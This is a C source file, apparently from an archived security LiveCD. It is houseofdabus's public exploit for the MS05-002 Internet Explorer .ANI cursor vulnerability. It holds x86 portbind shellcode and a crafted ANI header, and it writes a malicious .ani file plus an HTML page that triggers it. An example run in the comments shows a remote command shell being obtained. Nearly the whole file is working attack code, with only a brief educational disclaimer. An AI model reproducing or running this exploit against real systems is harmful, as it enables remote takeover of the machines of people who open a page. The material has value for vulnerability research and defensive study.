home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webbrowser / IE / HOD-ms05002-ani-expl.c < prev    next >
C/C++ Source or Header  |  2005-03-05  |  8KB  |  228 lines

  1. /* HOD-ms05002-ani-expl.c: 2005-01-10: PUBLIC v.0.2
  2.  *
  3.  * Copyright (c) 2004-2005 houseofdabus.
  4.  *
  5.  * (MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit
  6.  * (CAN-2004-1049)
  7.  *
  8.  *
  9.  *
  10.  *                 .::[ houseofdabus ]::.
  11.  *
  12.  *
  13.  *
  14.  * (universal -- for all affected systems)
  15.  * ---------------------------------------------------------------------
  16.  * Description:
  17.  *    A remote code execution vulnerability exists in the way that
  18.  *    cursor, animated cursor, and icon formats are handled. An attacker
  19.  *    could try to exploit the vulnerability by constructing a malicious
  20.  *    cursor or icon file that could potentially allow remote code
  21.  *    execution if a user visited a malicious Web site or viewed a
  22.  *    malicious e-mail message. An attacker who successfully exploited
  23.  *    this vulnerability could take complete control of an affected
  24.  *    system.
  25.  *
  26.  * ---------------------------------------------------------------------
  27.  * Patch:
  28.  *    http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx
  29.  *
  30.  * ---------------------------------------------------------------------
  31.  * Tested on:
  32.  *    - Windows Server 2003
  33.  *    - Windows XP SP1
  34.  *    - Windows XP SP0
  35.  *    - Windows 2000 SP4
  36.  *    - Windows 2000 SP3
  37.  *    - Windows 2000 SP2
  38.  *
  39.  * ---------------------------------------------------------------------
  40.  * Compile:
  41.  *
  42.  * Win32/VC++  : cl -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c
  43.  * Win32/cygwin: gcc -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c
  44.  * Linux       : gcc -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c
  45.  *
  46.  * ---------------------------------------------------------------------
  47.  * Example:
  48.  *
  49.  * C:\>HOD-ms05002-ani-expl.exe poc 7777
  50.  * <...>
  51.  * [*] Creating poc.ani file ... Ok
  52.  * [*] Creating poc.html file ... Ok
  53.  *
  54.  * C:\>
  55.  *
  56.  * start IE -> C:\poc.html
  57.  *
  58.  * C:\>telnet localhost 7777
  59.  * Microsoft Windows 2000 [Version 5.00.2195]
  60.  * (C) Copyright 1985-2000 Microsoft Corp.
  61.  *
  62.  * C:\Documents and Settings\Administrator\Desktop>
  63.  *
  64.  * ---------------------------------------------------------------------
  65.  *
  66.  *   This is provided as proof-of-concept code only for educational
  67.  *   purposes and testing by authorized individuals with permission to
  68.  *   do so.
  69.  *
  70.  */
  71.  
  72. #include <stdio.h>
  73. #include <stdlib.h>
  74.  
  75.  
  76. /* ANI header */
  77. unsigned char aniheader[] =
  78. "\x52\x49\x46\x46\x9c\x18\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68"
  79. "\x7c\x03\x00\x00\x24\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00"
  80. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  81.  
  82. /* jmp offset, no Jitsu */
  83. "\x77\x82\x40\x00\xeb\x64\x90\x90\x77\x82\x40\x00\xeb\x64\x90\x90"
  84. "\xeb\x54\x90\x90\x77\x82\x40\x00\xeb\x54\x90\x90\x77\x82\x40\x00"
  85. "\xeb\x44\x90\x90\x77\x82\x40\x00\xeb\x44\x90\x90\x77\x82\x40\x00"
  86. "\xeb\x34\x90\x90\x77\x82\x40\x00\xeb\x34\x90\x90\x77\x82\x40\x00"
  87. "\xeb\x24\x90\x90\x77\x82\x40\x00\xeb\x24\x90\x90\x77\x82\x40\x00"
  88. "\xeb\x14\x90\x90\x77\x82\x40\x00\xeb\x14\x90\x90\x77\x82\x40\x00"
  89. "\x77\x82\x40\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  90. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  91. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  92. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  93. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
  94.  
  95.  
  96. /* portbind shellcode */
  97. unsigned char shellcode[] =
  98. "\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
  99. "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
  100. "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
  101. "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
  102. "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
  103. "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
  104. "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
  105. "\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
  106. "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
  107. "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70"
  108. "\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6"
  109. "\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e"
  110. "\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83"
  111. "\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32"
  112. "\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59"
  113. "\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50"
  114. "\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50"
  115. "\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14"
  116. "\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc"
  117. "\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c"
  118. "\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33"
  119. "\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44"
  120. "\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d"
  121. "\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50"
  122. "\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55"
  123. "\x28\xff\x55\x0c";
  124.  
  125. #define SET_PORTBIND_PORT(buf, port)    *(unsigned short *)(((buf)+300)) = (port)
  126.  
  127. unsigned char discl[] =
  128. "This is provided as proof-of-concept code only for educational"
  129. " purposes and testing by authorized individuals with permission"
  130. " to do so.";
  131.  
  132. unsigned char html[] =
  133. "<html>\n"
  134. "(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit"
  135. "<br>Copyright (c) 2004-2005 .: houseofdabus :.<br><a href =\""
  136. "http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\">"
  137. "Patch (MS05-002)</a>\n"
  138. "<script>alert(\"%s\")</script>\n<head>\n\t<style>\n"
  139. "\t\t* {CURSOR: url(\"%s.ani\")}\n\t</style>\n</head>\n"
  140. "</html>";
  141.  
  142.  
  143. unsigned short
  144. fixx(unsigned short p)
  145. {
  146.     unsigned short r = 0;
  147.     r  = (p & 0xFF00) >> 8;
  148.     r |= (p & 0x00FF) << 8;
  149.  
  150. return r;
  151. }
  152.  
  153. void
  154. usage(char *prog)
  155. {
  156.     printf("Usage:\n");
  157.     printf("%s <file> <bindport>\n\n", prog);
  158.     exit(0);
  159. }
  160.  
  161.  
  162. int
  163. main(int argc, char **argv)
  164. {
  165.     FILE *fp;
  166.     unsigned short port;
  167.     unsigned char f[256+5] = "";
  168.     unsigned char anib[912] = "";
  169.  
  170.  
  171.     printf("\n(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit\n\n");
  172.     printf("\tCopyright (c) 2004-2005 .: houseofdabus :.\n\n\n");
  173.     printf("Tested on all affected systems:\n");
  174.     printf("   [+] Windows Server 2003\n   [+] Windows XP SP1, SP0\n");
  175.     printf("   [+] Windows 2000 All SP\n\n");
  176.  
  177.     printf("%s\n\n", discl);
  178.     if ( (sizeof(shellcode)-1) > (912-sizeof(aniheader)-3) ) {
  179.         printf("[-] Size of shellcode must be <= 686 bytes\n");
  180.         return 0;
  181.     }
  182.     if (argc < 3) usage(argv[0]);
  183.  
  184.     if (strlen(argv[1]) > 256) {
  185.         printf("[-] Size of filename must be <=256 bytes\n");
  186.         return 0;
  187.     }
  188.  
  189.     /* creating ani file */
  190.     strcpy(f, argv[1]);
  191.     strcat(f, ".ani");
  192.     printf("[*] Creating %s file ...", f);
  193.     fp = fopen(f, "wb");
  194.     if (fp == NULL) {
  195.         printf("\n[-] error: can\'t create file: %s\n", f);
  196.         return 0;
  197.     }
  198.     memset(anib, 0x90, 912);
  199.  
  200.     /* header */
  201.     memcpy(anib, aniheader, sizeof(aniheader)-1);
  202.     /* shellcode */
  203.     port = atoi(argv[2]);
  204.     SET_PORTBIND_PORT(shellcode, fixx(port));
  205.     memcpy(anib+sizeof(aniheader)-1, shellcode, sizeof(shellcode)-1);
  206.  
  207.     fwrite(anib, 1, 912, fp);
  208.     printf(" Ok\n");
  209.     fclose(fp);
  210.  
  211.     /* creating html file */
  212.     f[0] = '\0';
  213.     strcpy(f, argv[1]);
  214.     strcat(f, ".html");
  215.     printf("[*] Creating %s file ...", f);
  216.     fp = fopen(f, "wb");
  217.     if (fp == NULL) {
  218.         printf("\n[-] error: can\'t create file: %s\n", f);
  219.         return 0;
  220.     }
  221.     sprintf(anib, html, discl, argv[1]);
  222.     fwrite(anib, 1, strlen(anib), fp);
  223.     printf(" Ok\n");
  224.     fclose(fp);
  225.  
  226. return 0;
  227. }
  228.